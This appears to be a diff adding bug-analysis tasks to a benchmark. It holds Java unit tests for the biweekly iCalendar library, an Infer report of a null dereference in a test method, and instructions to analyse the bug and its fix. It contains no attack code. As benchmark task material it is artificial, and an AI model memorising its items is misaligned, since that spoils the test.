+				"<xcal:vcalendar>" +
+					"<xcal:properties>" +
+						"<xcal:summary><xcal:text>summary</xcal:text></xcal:summary>" +
+					"</xcal:properties>" +
+				"</xcal:vcalendar>" +
+			"</xcal:icalendar>" +
+		"</foo>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		Summary prop = ical.getProperty(Summary.class);
+		assertEquals("summary", prop.getValue());
+	}
+
+	@Test
+	public void empty() throws Exception {
+		XCalDocument xcal = new XCalDocument();
+
+		Document actual = xcal.getDocument();
+		Document expected = XmlUtils.toDocument("<icalendar xmlns=\"" + XCAL_NS + "\"/>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void add_xml_property() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		Xml xml = new Xml("<company xmlns=\"http://example.com\"><boss>John Doe</boss></company>");
+		ical.addProperty(xml);
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.add(ical);
+
+		Document actual = xcal.getDocument();
+		//@formatter:off
+		Document expected = XmlUtils.toDocument(
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<m:company xmlns:m=\"http://example.com\">" +
+						"<m:boss>John Doe</m:boss>" +
+					"</m:company>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>");
+		//@formatter:on
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test(expected = IllegalArgumentException.class)
+	public void add_property_marshaller_not_found() {
+		ICalendar ical = new ICalendar();
+		ical.addProperty(new Company(""));
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.add(ical);
+	}
+
+	@Test(expected = IllegalArgumentException.class)
+	public void add_component_marshaller_not_found() {
+		ICalendar ical = new ICalendar();
+		ical.addComponent(new Party());
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.add(ical);
+	}
+
+	@Test
+	public void add_experimental_component() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		Party party = new Party();
+		party.addProperty(new Summary("summary"));
+		ical.addComponent(party);
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.registerMarshaller(new PartyMarshaller());
+		xcal.add(ical);
+
+		Document actual = xcal.getDocument();
+		//@formatter:off
+		Document expected = XmlUtils.toDocument(
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<components>" +
+					"<x-party>" +
+						"<properties>" +
+							"<summary><text>summary</text></summary>" +
+						"</properties>" +
+					"</x-party>" +
+				"</components>" +
+			"</vcalendar>" +
+		"</icalendar>");
+		//@formatter:on
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void add_experimental_property() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.addProperty(new Company("John Doe"));
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.registerMarshaller(new CompanyMarshaller());
+		xcal.add(ical);
+
+		Document actual = xcal.getDocument();
+		//@formatter:off
+		Document expected = XmlUtils.toDocument(
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<m:company xmlns:m=\"http://example.com\">" +
+						"<m:boss>John Doe</m:boss>" +
+					"</m:company>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>");
+		//@formatter:on
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void add_experimental_parameter() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		Summary summary = new Summary("summary");
+		summary.setParameter("X-ONE", "one");
+		summary.setParameter("X-TWO", "two");
+		ical.addProperty(summary);
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.registerParameterDataType("X-ONE", Value.TEXT);
+		xcal.add(ical);
+
+		Document actual = xcal.getDocument();
+		//@formatter:off
+		Document expected = XmlUtils.toDocument(
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<summary>" +
+						"<parameters>" +
+							"<x-one><text>one</text></x-one>" +
+							"<x-two><unknown>two</unknown></x-two>" +
+						"</parameters>" +
+						"<text>summary</text>" +
+					"</summary>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>");
+		//@formatter:on
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void add_skipMeException() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.addProperty(new Company("skip-me"));
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.registerMarshaller(new CompanyMarshaller());
+		xcal.add(ical);
+
+		Document actual = xcal.getDocument();
+		//@formatter:off
+		Document expected = XmlUtils.toDocument(
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+			"</vcalendar>" +
+		"</icalendar>");
+		//@formatter:on
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void write() {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.addProperty(new Summary("summary"));
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.add(ical);
+
+		String actual = xcal.write();
+		//@formatter:off
+		String expected =
+		"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>" +
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<summary><text>summary</text></summary>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void write_pretty_print() {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.addProperty(new Summary("summary"));
+
+		XCalDocument xcal = new XCalDocument();
+		xcal.add(ical);
+
+		String newline = System.getProperty("line.separator");
+		String actual = xcal.write(2);
+		//@formatter:off
+		String expected =
+		"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>" + newline +
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" + newline +
+		"  <vcalendar>" + newline +	
+		"    <properties>" + newline +
+		"      <summary>" + newline +
+		"        <text>summary</text>" + newline +
+		"      </summary>" + newline +
+		"    </properties>" + newline +
+		"  </vcalendar>" + newline +
+		"</icalendar>" + newline;
+		//@formatter:on
+
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void read_example1() throws Throwable {
+		String xml = new String(IOUtils.toByteArray(getClass().getResourceAsStream("rfc6321-example1.xml")));
+		XCalDocument xcal = new XCalDocument(xml);
+
+		List<ICalendar> icals = xcal.parseAll();
+		assertEquals(1, icals.size());
+
+		ICalendar ical = icals.get(0);
+		assertEquals(3, ical.getProperties().size());
+		assertTrue(ical.getCalendarScale().isGregorian());
+		assertEquals("-//Example Inc.//Example Calendar//EN", ical.getProductId().getValue());
+		assertEquals("2.0", ical.getVersion().getMaxVersion());
+
+		assertEquals(1, ical.getComponents().size());
+		{
+			VEvent event = ical.getEvents().get(0);
+			assertEquals(4, event.getProperties().size());
+			assertDateEquals("20080205T191224Z", event.getDateTimeStamp().getValue());
+			assertDateEquals("20081006", event.getDateStart().getValue());
+			assertEquals("Planning meeting", event.getSummary().getValue());
+			assertEquals("4088E990AD89CB3DBB484909", event.getUid().getValue());
+		}
+
+		assertWarnings(0, ical.validate());
+	}
+
+	@Test
+	public void write_example1() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setCalendarScale(CalendarScale.gregorian());
+		ical.setProductId("-//Example Inc.//Example Calendar//EN");
+		ical.setVersion(Version.v2_0());
+		{
+			VEvent event = new VEvent();
+			event.getProperties().clear();
+			event.setDateTimeStamp(utcFormatter.parse("2008-02-05T19:12:24"));
+			event.setDateStart(new DateStart(dateFormatter.parse("2008-10-06"), false));
+			event.setSummary("Planning meeting");
+			event.setUid("4088E990AD89CB3DBB484909");
+			ical.addEvent(event);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "rfc6321-example1.xml");
+	}
+
+	@Test
+	public void read_example2() throws Throwable {
+		//see: RFC 6321 p.49
+		DateFormat usEastern = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
+		usEastern.setTimeZone(TimeZone.getTimeZone("US/Eastern"));
+
+		String xml = new String(IOUtils.toByteArray(getClass().getResourceAsStream("rfc6321-example2.xml")));
+		XCalDocument xcal = new XCalDocument(xml);
+
+		List<ICalendar> icals = xcal.parseAll();
+		assertEquals(1, icals.size());
+
+		ICalendar ical = icals.get(0);
+		assertEquals(2, ical.getProperties().size());
+		assertEquals("-//Example Inc.//Example Client//EN", ical.getProductId().getValue());
+		assertEquals("2.0", ical.getVersion().getMaxVersion());
+
+		assertEquals(3, ical.getComponents().size());
+		{
+			VTimezone timezone = ical.getTimezones().get(0);
+
+			assertEquals(2, timezone.getProperties().size());
+			assertDateEquals("20040110T032845Z", timezone.getLastModified().getValue());
+			assertEquals("US/Eastern", timezone.getTimezoneId().getValue());
+
+			assertEquals(2, timezone.getComponents().size());
+			{
+				DaylightSavingsTime daylight = timezone.getDaylightSavingsTime().get(0);
+				assertEquals(5, daylight.getProperties().size());
+				assertDateEquals("20000404T020000", daylight.getDateStart().getValue());
+
+				RecurrenceRule rrule = daylight.getRecurrenceRule();
+				assertEquals(Frequency.YEARLY, rrule.getFrequency());
+				assertEquals(Arrays.asList(DayOfWeek.SUNDAY), rrule.getByDay());
+				assertEquals(Arrays.asList(1), rrule.getByDayPrefixes());
+				assertEquals(Arrays.asList(4), rrule.getByMonth());
+
+				assertEquals("EDT", daylight.getTimezoneNames().get(0).getValue());
+				assertIntEquals(-5, daylight.getTimezoneOffsetFrom().getHourOffset());
+				assertIntEquals(0, daylight.getTimezoneOffsetFrom().getMinuteOffset());
+
+				assertIntEquals(-4, daylight.getTimezoneOffsetTo().getHourOffset());
+				assertIntEquals(0, daylight.getTimezoneOffsetTo().getMinuteOffset());
+			}
+			{
+				StandardTime standard = timezone.getStandardTimes().get(0);
+				assertEquals(5, standard.getProperties().size());
+				assertDateEquals("20001026T020000", standard.getDateStart().getValue());
+
+				RecurrenceRule rrule = standard.getRecurrenceRule();
+				assertEquals(Frequency.YEARLY, rrule.getFrequency());
+				assertEquals(Arrays.asList(DayOfWeek.SUNDAY), rrule.getByDay());
+				assertEquals(Arrays.asList(-1), rrule.getByDayPrefixes());
+				assertEquals(Arrays.asList(10), rrule.getByMonth());
+
+				assertEquals("EST", standard.getTimezoneNames().get(0).getValue());
+				assertIntEquals(-4, standard.getTimezoneOffsetFrom().getHourOffset());
+				assertIntEquals(0, standard.getTimezoneOffsetFrom().getMinuteOffset());
+
+				assertIntEquals(-5, standard.getTimezoneOffsetTo().getHourOffset());
+				assertIntEquals(0, standard.getTimezoneOffsetTo().getMinuteOffset());
+			}
+		}
+		{
+			VEvent event = ical.getEvents().get(0);
+
+			assertEquals(8, event.getProperties().size());
+			assertDateEquals("20060206T001121Z", event.getDateTimeStamp().getValue());
+			assertEquals(usEastern.parse("2006-01-02T12:00:00"), event.getDateStart().getValue());
+			assertEquals("US/Eastern", event.getDateStart().getTimezoneId());
+			assertEquals(new Duration.Builder().hours(1).build(), event.getDuration().getValue());
+
+			RecurrenceRule rrule = event.getRecurrenceRule();
+			assertEquals(Frequency.DAILY, rrule.getFrequency());
+			assertIntEquals(5, rrule.getCount());
+
+			RecurrenceDates rdate = event.getRecurrenceDates().get(0);
+			assertNull(rdate.getDates());
+			assertEquals(1, rdate.getPeriods().size());
+			assertEquals(new Period(usEastern.parse("2006-01-02T15:00:00"), new Duration.Builder().hours(2).build()), rdate.getPeriods().get(0));
+			assertEquals("US/Eastern", rdate.getTimezoneId());
+
+			assertEquals("Event #2", event.getSummary().getValue());
+			assertEquals("We are having a meeting all this week at 12pm for one hour, with an additional meeting on the first day 2 hours long.\nPlease bring your own lunch for the 12 pm meetings.", event.getDescription().getValue());
+			assertEquals("00959BC664CA650E933C892C@example.com", event.getUid().getValue());
+		}
+		{
+			VEvent event = ical.getEvents().get(1);
+
+			assertEquals(6, event.getProperties().size());
+			assertDateEquals("20060206T001121Z", event.getDateTimeStamp().getValue());
+			assertEquals(usEastern.parse("2006-01-04T14:00:00"), event.getDateStart().getValue());
+			assertEquals("US/Eastern", event.getDateStart().getTimezoneId());
+			assertEquals(new Duration.Builder().hours(1).build(), event.getDuration().getValue());
+
+			assertEquals(usEastern.parse("2006-01-04T12:00:00"), event.getRecurrenceId().getValue());
+			assertEquals("US/Eastern", event.getRecurrenceId().getTimezoneId());
+			assertEquals("Event #2 bis", event.getSummary().getValue());
+			assertEquals("00959BC664CA650E933C892C@example.com", event.getUid().getValue());
+		}
+
+		assertWarnings(0, ical.validate());
+	}
+
+	@Test
+	public void write_example2() throws Throwable {
+		//see: RFC 6321 p.51
+		VTimezone usEasternTz;
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setProductId("-//Example Inc.//Example Client//EN");
+		ical.setVersion(Version.v2_0());
+		{
+			usEasternTz = new VTimezone(null);
+			usEasternTz.setLastModified(utcFormatter.parse("2004-01-10T03:28:45"));
+			usEasternTz.setTimezoneId("US/Eastern");
+			{
+				DaylightSavingsTime daylight = new DaylightSavingsTime();
+				daylight.setDateStart(localFormatter.parse("2000-04-04T02:00:00")).setLocalTime(true);
+
+				RecurrenceRule rrule = new RecurrenceRule(Frequency.YEARLY);
+				rrule.addByDay(1, DayOfWeek.SUNDAY);
+				rrule.addByMonth(4);
+				daylight.setRecurrenceRule(rrule);
+
+				daylight.addTimezoneName("EDT");
+				daylight.setTimezoneOffsetFrom(-5, 0);
+				daylight.setTimezoneOffsetTo(-4, 0);
+
+				usEasternTz.addDaylightSavingsTime(daylight);
+			}
+			{
+				StandardTime standard = new StandardTime();
+				standard.setDateStart(localFormatter.parse("2000-10-26T02:00:00")).setLocalTime(true);
+
+				RecurrenceRule rrule = new RecurrenceRule(Frequency.YEARLY);
+				rrule.addByDay(-1, DayOfWeek.SUNDAY);
+				rrule.addByMonth(10);
+				standard.setRecurrenceRule(rrule);
+
+				standard.addTimezoneName("EST");
+				standard.setTimezoneOffsetFrom(-4, 0);
+				standard.setTimezoneOffsetTo(-5, 0);
+
+				usEasternTz.addStandardTime(standard);
+			}
+			ical.addTimezone(usEasternTz);
+		}
+		{
+			VEvent event = new VEvent();
+			event.setDateTimeStamp(utcFormatter.parse("2006-02-06T00:11:21"));
+			event.setDateStart(usEasternFormatter.parse("2006-01-02T12:00:00")).setTimezone(usEasternTz);
+			event.setDuration(new Duration.Builder().hours(1).build());
+
+			RecurrenceRule rrule = new RecurrenceRule(Frequency.DAILY);
+			rrule.setCount(5);
+			event.setRecurrenceRule(rrule);
+
+			RecurrenceDates rdate = new RecurrenceDates(Arrays.asList(new Period(usEasternFormatter.parse("2006-01-02T15:00:00"), new Duration.Builder().hours(2).build())));
+			rdate.setTimezone(usEasternTz);
+			event.addRecurrenceDates(rdate);
+
+			event.setSummary("Event #2");
+			event.setDescription("We are having a meeting all this week at 12pm for one hour, with an additional meeting on the first day 2 hours long.\nPlease bring your own lunch for the 12 pm meetings.");
+			event.setUid("00959BC664CA650E933C892C@example.com");
+			ical.addEvent(event);
+		}
+		{
+			VEvent event = new VEvent();
+			event.setDateTimeStamp(utcFormatter.parse("2006-02-06T00:11:21"));
+			event.setDateStart(usEasternFormatter.parse("2006-01-04T14:00:00")).setTimezone(usEasternTz);
+			event.setDuration(new Duration.Builder().hours(1).build());
+
+			event.setRecurrenceId(usEasternFormatter.parse("2006-01-04T12:00:00")).setTimezone(usEasternTz);
+
+			event.setSummary("Event #2 bis");
+			event.setUid("00959BC664CA650E933C892C@example.com");
+			ical.addEvent(event);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "rfc6321-example2.xml");
+	}
+
+	private void assertExample(ICalendar ical, String exampleFileName) throws IOException, SAXException {
+		XCalDocument xcal = new XCalDocument();
+		xcal.add(ical);
+
+		Document expected = XmlUtils.toDocument(new InputStreamReader(getClass().getResourceAsStream(exampleFileName)));
+		Document actual = xcal.getDocument();
+
+		assertXMLEqual(XmlUtils.toString(actual), expected, actual);
+	}
+
+	private class CompanyMarshaller extends ICalPropertyMarshaller<Company> {
+		public CompanyMarshaller() {
+			super(Company.class, "X-COMPANY", new QName("http://example.com", "company"));
+		}
+
+		@Override
+		protected String _writeText(Company property) {
+			return property.getBoss();
+		}
+
+		@Override
+		protected Company _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new Company(value);
+		}
+
+		@Override
+		protected void _writeXml(Company property, XCalElement element) {
+			if (property.getBoss().equals("skip-me")) {
+				throw new SkipMeException();
+			}
+			Element boss = element.getElement().getOwnerDocument().createElementNS(getQName().getNamespaceURI(), "boss");
+			boss.setTextContent(property.getBoss());
+			element.getElement().appendChild(boss);
+		}
+
+		@Override
+		protected Company _parseXml(XCalElement element, ICalParameters parameters, List<String> warnings) {
+			String boss = XmlUtils.getFirstChildElement(element.getElement()).getTextContent();
+			if (boss.equals("skip-me")) {
+				throw new SkipMeException();
+			}
+			if (boss.equals("don't-parse-me")) {
+				throw new CannotParseException();
+			}
+			if (boss.equals("UnsupportedOperationException")) {
+				return super._parseXml(element, parameters, warnings);
+			}
+			return new Company(boss);
+		}
+	}
+
+	private class Company extends ICalProperty {
+		private String boss;
+
+		public Company(String boss) {
+			this.boss = boss;
+		}
+
+		public String getBoss() {
+			return boss;
+		}
+	}
+
+	private class PartyMarshaller extends ICalComponentMarshaller<Party> {
+		public PartyMarshaller() {
+			super(Party.class, "X-PARTY");
+		}
+
+		@Override
+		protected Party _newInstance() {
+			return new Party();
+		}
+	}
+
+	private class Party extends ICalComponent {
+		//empty
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `daylight.setDateStart(XCalDocumentTest.localFormatter.parse("2000-04-04T02:00:00"))` could be null and is dereferenced at line 936.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void XCalDocumentTest.write_example2()
+
+### Procedure Id:
+biweekly.io.xml.XCalDocumentTest.write_example2():void.2cafeb9af5713ea66dd2254b93c154a3
+
+### File:
+src/test/java/biweekly/io/xml/XCalDocumentTest.java
+
+### Key:
+XCalDocumentTest.java|write_example2|NULL_DEREFERENCE
+
+### Node Key:
+ec50d19a3f6c9c85fe366f22b170b71d
+
+### Hash:
+f185ff4166b241bf02977ae74e030276
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10687/instruction.md b/inferredbugs-10687/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3b1ea90ba49dd88797b6b7f5b83d94b67e3d75aa
--- /dev/null
+++ b/inferredbugs-10687/instruction.md
@@ -0,0 +1,845 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 39
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.io.text;
+
+import static biweekly.util.TestUtils.assertRegex;
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.buildTimezone;
+import static org.junit.Assert.assertEquals;
+
+import java.io.IOException;
+import java.io.StringWriter;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.List;
+import java.util.TimeZone;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import biweekly.ICalendar;
+import biweekly.component.DaylightSavingsTime;
+import biweekly.component.ICalComponent;
+import biweekly.component.StandardTime;
+import biweekly.component.VAlarm;
+import biweekly.component.VEvent;
+import biweekly.component.VFreeBusy;
+import biweekly.component.VJournal;
+import biweekly.component.VTimezone;
+import biweekly.component.VTodo;
+import biweekly.component.marshaller.ICalComponentMarshaller;
+import biweekly.io.SkipMeException;
+import biweekly.parameter.CalendarUserType;
+import biweekly.parameter.ICalParameters;
+import biweekly.parameter.ParticipationStatus;
+import biweekly.parameter.Role;
+import biweekly.property.Attachment;
+import biweekly.property.Attendee;
+import biweekly.property.Classification;
+import biweekly.property.FreeBusy;
+import biweekly.property.ICalProperty;
+import biweekly.property.Status;
+import biweekly.property.Trigger;
+import biweekly.property.Version;
+import biweekly.property.marshaller.ICalPropertyMarshaller;
+import biweekly.util.Duration;
+import biweekly.util.IOUtils;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class ICalWriterTest {
+	private static TimeZone defaultTz;
+	private final DateFormat utcFormatter;
+	{
+		utcFormatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss");
+		utcFormatter.setTimeZone(TimeZone.getTimeZone("UTC"));
+	}
+	private final DateFormat usEasternFormatter;
+	{
+		usEasternFormatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss");
+		usEasternFormatter.setTimeZone(TimeZone.getTimeZone("America/New_York"));
+	}
+	private final DateFormat localFormatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss");
+
+	@BeforeClass
+	public static void beforeClass() {
+		//change the default timezone because my timezone is "American/New_York", which is what the example jCal documents use
+		defaultTz = TimeZone.getDefault();
+		TimeZone.setDefault(buildTimezone(1, 0));
+	}
+
+	@AfterClass
+	public static void afterClass() {
+		TimeZone.setDefault(defaultTz);
+	}
+
+	@Test
+	public void basic() throws Exception {
+		ICalendar ical = new ICalendar();
+
+		VEvent event = new VEvent();
+		event.setSummary("summary");
+		ical.addEvent(event);
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+			"BEGIN:VEVENT\r\n" +
+				"UID:.*?\r\n" +
+				"DTSTAMP:.*?\r\n" +
+				"SUMMARY:summary\r\n" +
+			"END:VEVENT\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void escape_newlines() throws Exception {
+		ICalendar ical = new ICalendar();
+
+		VEvent event = new VEvent();
+		event.setSummary("summary\nof event");
+		ical.addEvent(event);
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+			"BEGIN:VEVENT\r\n" +
+				"UID:.*?\r\n" +
+				"DTSTAMP:.*?\r\n" +
+				"SUMMARY:summary\\\\nof event\r\n" +
+			"END:VEVENT\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void bad_parameter_value_chars() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.getProductId().addParameter("X-TEST", "\"test\"");
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID;X-TEST='test':.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(1, writer.getWarnings());
+	}
+
+	@Test
+	public void caret_encoding() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.getProductId().addParameter("X-TEST", "\"test\"");
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.setCaretEncodingEnabled(true);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID;X-TEST=\\^'test\\^':.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void multiple() throws Exception {
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(new ICalendar());
+		writer.write(new ICalendar());
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+		"END:VCALENDAR\r\n" +
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+	}
+
+	@Test
+	public void no_property_marshaller() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addProperty(new TestProperty("value"));
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(1, writer.getWarnings());
+	}
+
+	@Test
+	public void no_component_marshaller() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addComponent(new Party());
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(1, writer.getWarnings());
+	}
+
+	@Test
+	public void bad_property_name() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addProperty(new TestProperty("value"));
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.registerMarshaller(new BadNameMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(1, writer.getWarnings());
+	}
+
+	@Test
+	public void skipMeException() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addProperty(new TestProperty("value"));
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.registerMarshaller(new SkipMeMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(1, writer.getWarnings());
+	}
+
+	@Test
+	public void override_marshaller() throws Exception {
+		ICalendar ical = new ICalendar();
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.registerMarshaller(new MyVersionMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
